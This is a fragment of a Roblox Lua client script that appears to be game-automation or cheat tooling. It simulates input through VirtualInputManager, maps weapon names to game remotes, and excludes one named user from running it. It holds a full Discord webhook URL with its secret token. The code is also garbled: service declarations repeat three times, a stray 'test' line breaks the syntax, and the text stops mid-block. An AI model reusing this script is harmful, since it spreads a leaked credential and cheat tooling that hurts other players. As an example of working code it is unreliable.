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local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local localPlayer = Players.LocalPlayer
local character = localPlayer.Character or localPlayer.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")
local hrp = character:WaitForChild("HumanoidRootPart")
local CLOSE_DISTANCE = 20
local DESIRED_DISTANCE = 9
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local RunService = game:GetService("RunService")
-- 🚫 Restrict script execution to everyone EXCEPT 'olurgs'
if LocalPlayer.Name == "olurgs" then
warn("Script execution not allowed on 'olurgs'.")
return
end
--// Services
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local RunService = game:GetService("RunService")
local VirtualInputManager = game:GetService("VirtualInputManager")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local HttpService = game:GetService("HttpService")
--// CONFIGURATION
local WEBHOOK_URL = "https://discord.com/api/webhooks/1430477131279892522/Plz7AfNq3kzHak2duFNqs5z1vxuttq_cQqBn25U1lccy_E3LrfPmq5F83_Zw-mJBBCkR"
test
_G.allowedWeapons = _G.allowedWeapons or {}
local allowedWeapons = _G.allowedWeapons
if _G.tier0 == true then
allowedWeapons["Yellow Seer"] = { value = 4, remoteName = "YellowSeer" }
allowedWeapons["Orange Seer"] = { value = 3, remoteName = "OrangeSeer" }
allowedWeapons["Eggblade"] = { value = 3, remoteName = "Eggblade" }
allowedWeapons["Red Seer"] = { value = 4, remoteName = "RedSeer" }
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